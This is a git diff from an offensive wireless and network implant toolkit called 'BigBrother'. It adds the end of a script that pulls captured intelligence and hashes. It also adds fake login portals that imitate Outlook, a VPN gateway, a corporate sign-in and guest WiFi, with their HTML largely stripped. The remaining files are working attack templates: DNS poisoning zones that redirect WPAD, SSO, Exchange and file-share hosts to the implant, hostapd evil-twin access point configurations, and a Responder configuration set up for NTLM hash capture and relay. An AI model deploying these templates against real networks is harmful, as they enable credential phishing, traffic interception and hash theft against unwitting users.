"$OUTPUT_DIR/topology" "topology maps" +pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data" + +# Config (for reference) +pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration" + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +echo "" +echo -e "${GREEN}[+] Data pull complete${NC}" +echo -e " Location: ${OUTPUT_DIR}" +echo "" +du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /' +echo "" +echo -e "${CYAN}[*] Next steps:${NC}" +echo " 1. Run extract_files.sh on PCAPs for file carving" +echo " 2. Run crack_hashes.sh to crack captured hashes" +echo " 3. Run generate_report.py for engagement report" diff --git a/templates/captive_portals/.gitkeep b/templates/captive_portals/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/templates/captive_portals/corporate_login.html b/templates/captive_portals/corporate_login.html new file mode 100644 index 0000000..d0ffd4a --- /dev/null +++ b/templates/captive_portals/corporate_login.html @@ -0,0 +1,57 @@ + + + + + +Corporate Sign In + + + + + + diff --git a/templates/captive_portals/guest_wifi.html b/templates/captive_portals/guest_wifi.html new file mode 100644 index 0000000..339fe92 --- /dev/null +++ b/templates/captive_portals/guest_wifi.html @@ -0,0 +1,86 @@ + + + + + +Guest WiFi Access + + + +
+
+
📶
+

Guest WiFi Access

+

Welcome! Please register to connect to our guest network.

+
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+
+ + +
+
+

Terms of Use

+

By connecting to this wireless network, you agree to the following terms and conditions:

+

1. This network is provided for authorized guest use only. All network activity may be monitored and recorded for security purposes.

+

2. Users must not attempt to access unauthorized systems, intercept network traffic, or engage in any activity that violates applicable laws.

+

3. The organization reserves the right to terminate access at any time without notice.

+

4. This is an unsecured network. Users connect at their own risk. The organization is not responsible for any data loss or security incidents.

+

5. Access is limited to 24 hours. Contact the front desk for extensions.

+
+
+ + +
+ +
+
Access valid for 24 hours from registration.
+
+ + diff --git a/templates/captive_portals/outlook_login.html b/templates/captive_portals/outlook_login.html new file mode 100644 index 0000000..ee18244 --- /dev/null +++ b/templates/captive_portals/outlook_login.html @@ -0,0 +1,88 @@ + + + + + +Sign in to your account + + + + + + + + diff --git a/templates/captive_portals/vpn_portal.html b/templates/captive_portals/vpn_portal.html new file mode 100644 index 0000000..249af33 --- /dev/null +++ b/templates/captive_portals/vpn_portal.html @@ -0,0 +1,91 @@ + + + + + +VPN Gateway - Secure Access + + + +
+
+
+SSL VPN Gateway — Authentication Required +
+ +
+ + diff --git a/templates/dns_zones/.gitkeep b/templates/dns_zones/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/templates/dns_zones/redirect_all.zone b/templates/dns_zones/redirect_all.zone new file mode 100644 index 0000000..296121e --- /dev/null +++ b/templates/dns_zones/redirect_all.zone @@ -0,0 +1,19 @@ +# BigBrother DNS Zone — Redirect All +# +# Redirects ALL DNS queries to the implant IP. +# Used with dns_poison.py load_zone() method. +# +# Format: domain target_ip +# Use * for wildcard matching. +# +# WARNING: Redirecting all DNS is extremely noisy. Use selective.zone.j2 +# for targeted operations. This zone is for quick-and-dirty captive portal +# or total traffic interception scenarios. +# +# Usage: +# dns_poison.load_zone("redirect_all.zone") +# +# The target IP on the last entry is used as the redirect destination. +# Replace IMPLANT_IP with the actual implant IP before use. + +* IMPLANT_IP diff --git a/templates/dns_zones/selective.zone.j2 b/templates/dns_zones/selective.zone.j2 new file mode 100644 index 0000000..8e69c6b --- /dev/null +++ b/templates/dns_zones/selective.zone.j2 @@ -0,0 +1,49 @@ +# BigBrother DNS Zone — Selective Redirection +# +# Jinja2 template for targeted DNS poisoning. Render with: +# implant_ip: IP address to redirect to +# target_domain: Primary target domain (e.g., "corp.local") +# extra_domains: Optional list of additional domains +# +# Format: domain target_ip +# Lines starting with # are ignored. +# +# Usage: +# from jinja2 import Template +# rendered = Template(open("selective.zone.j2").read()).render( +# implant_ip="10.0.0.0", +# target_domain="corp.local", +# extra_domains=["intranet.company.com", "vpn.company.com"] +# ) + +# WPAD — forces proxy autoconfiguration to implant (NTLM capture) +wpad.{{ target_domain }} {{ implant_ip }} +wpad {{ implant_ip }} + +# Internal authentication endpoints +login.{{ target_domain }} {{ implant_ip }} +auth.{{ target_domain }} {{ implant_ip }} +sso.{{ target_domain }} {{ implant_ip }} +adfs.{{ target_domain }} {{ implant_ip }} + +# Exchange / mail +autodiscover.{{ target_domain }} {{ implant_ip }} +mail.{{ target_domain }} {{ implant_ip }} +owa.{{ target_domain }} {{ implant_ip }} + +# SharePoint / intranet +intranet.{{ target_domain }} {{ implant_ip }} +sharepoint.{{ target_domain }} {{ implant_ip }} +portal.{{ target_domain }} {{ implant_ip }} + +# File shares (for hash capture) +files.{{ target_domain }} {{ implant_ip }} +nas.{{ target_domain }} {{ implant_ip }} +dfs.{{ target_domain }} {{ implant_ip }} + +{% if extra_domains is defined %} +# Additional targeted domains +{% for domain in extra_domains %} +{{ domain }} {{ implant_ip }} +{% endfor %} +{% endif %} diff --git a/templates/hostapd/open.conf.j2 b/templates/hostapd/open.conf.j2 new file mode 100644 index 0000000..52289eb --- /dev/null +++ b/templates/hostapd/open.conf.j2 @@ -0,0 +1,39 @@ +# BigBrother hostapd configuration — Open AP (no password) +# +# Used by evil_twin.py for captive portal attacks. +# Jinja2 variables: +# interface: Wireless interface (e.g., "wlan0") +# ssid: Target SSID to clone +# channel: WiFi channel (1-11 for 2.4GHz) +# driver: Wireless driver (default: nl80211) +# hw_mode: Hardware mode (default: g for 2.4GHz) +# country_code: Regulatory domain (default: US) +# beacon_int: Beacon interval in ms (default: 100) + +interface={{ interface | default('wlan0') }} +driver={{ driver | default('nl80211') }} +ssid={{ ssid }} +hw_mode={{ hw_mode | default('g') }} +channel={{ channel | default(6) }} +country_code={{ country_code | default('US') }} +ieee80211d=1 + +# No encryption — open AP for captive portal +auth_algs=1 +wpa=0 + +# Beacon and capabilities +beacon_int={{ beacon_int | default(100) }} +wmm_enabled=0 +macaddr_acl=0 +ignore_broadcast_ssid=0 + +# 802.11n support (better performance) +ieee80211n=1 +ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40] + +# Logging +logger_syslog=-1 +logger_syslog_level=2 +logger_stdout=-1 +logger_stdout_level=2 diff --git a/templates/hostapd/wpa2.conf.j2 b/templates/hostapd/wpa2.conf.j2 new file mode 100644 index 0000000..bb9ef57 --- /dev/null +++ b/templates/hostapd/wpa2.conf.j2 @@ -0,0 +1,45 @@ +# BigBrother hostapd configuration — WPA2-PSK AP +# +# Used by evil_twin.py for WPA2 evil twin attacks. +# Requires knowing or guessing the target PSK. +# Jinja2 variables: +# interface: Wireless interface (e.g., "wlan0") +# ssid: Target SSID to clone +# channel: WiFi channel (1-11 for 2.4GHz) +# wpa_passphrase: WPA2 pre-shared key +# driver: Wireless driver (default: nl80211) +# hw_mode: Hardware mode (default: g for 2.4GHz) +# country_code: Regulatory domain (default: US) +# beacon_int: Beacon interval in ms (default: 100) + +interface={{ interface | default('wlan0') }} +driver={{ driver | default('nl80211') }} +ssid={{ ssid }} +hw_mode={{ hw_mode | default('g') }} +channel={{ channel | default(6) }} +country_code={{ country_code | default('US') }} +ieee80211d=1 + +# WPA2-PSK configuration +auth_algs=1 +wpa=2 +wpa_passphrase={{ wpa_passphrase }} +wpa_key_mgmt=WPA-PSK +wpa_pairwise=CCMP +rsn_pairwise=CCMP + +# Beacon and capabilities +beacon_int={{ beacon_int | default(100) }} +wmm_enabled=1 +macaddr_acl=0 +ignore_broadcast_ssid=0 + +# 802.11n support +ieee80211n=1 +ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40] + +# Logging +logger_syslog=-1 +logger_syslog_level=2 +logger_stdout=-1 +logger_stdout_level=2 diff --git a/templates/responder/Responder.conf.j2 b/templates/responder/Responder.conf.j2 new file mode 100644 index 0000000..f798028 --- /dev/null +++ b/templates/responder/Responder.conf.j2 @@ -0,0 +1,70 @@ +{# BigBrother Responder.conf template + Jinja2 variables: + protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.) + relay_targets: set of IPs excluded from SMB auth (for ntlm_relay) + interface: network interface +#} +[Responder Core] + +; Servers to start +SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }} +SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }} +RDP = Off +Kerberos = Off +FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }} +POP = {{ 'On' if protocols.get('POP', false) else 'Off' }} +SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }} +IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }} +HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }} +HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }} +DNS = Off +LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }} +DCERPC = Off +WinRM = Off +SNMP = Off +MQTT = Off + +; Custom challenge — Random is stealthier than fixed +Challenge = Random + +; Set specific interface +; Interface = {{ interface }} + +; WPAD configuration +WPADScript = function FindProxyForURL(url, host){return "DIRECT";} +{% if protocols.get('WPAD', true) %} +; WPAD rogue proxy enabled +Serve-Html = On +Serve-Exe = Off +{% endif %} + +; Force WPAD auth for hash capture +Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }} + +; Downgrade to NTLMv1 (more crackable but more detectable) +; Set to On only when specifically targeting NTLMv1 +Downgrade-To-NTLMv1 = Off + +; Don't respond to these machines (comma-separated hostnames) +DontRespondToNames = + +{% if relay_targets %} +; Hosts excluded from SMB auth — being relayed by ntlmrelayx +; These IPs should get auth forwarded to ntlmrelayx, not captured locally +DontRespondTo = {{ relay_targets | join(', ') }} +{% else %} +DontRespondTo = +{% endif %} + +[HTTP Server] +; Custom HTML to serve for WPAD/HTTP auth +HTMLToInject = +; Serve a custom EXE +Serve-Always = Off +Filename = +ExecParams = + +[HTTPS Server] +; Self-signed cert params +SSLCert = certs/responder.crt +SSLKey = certs/responder.key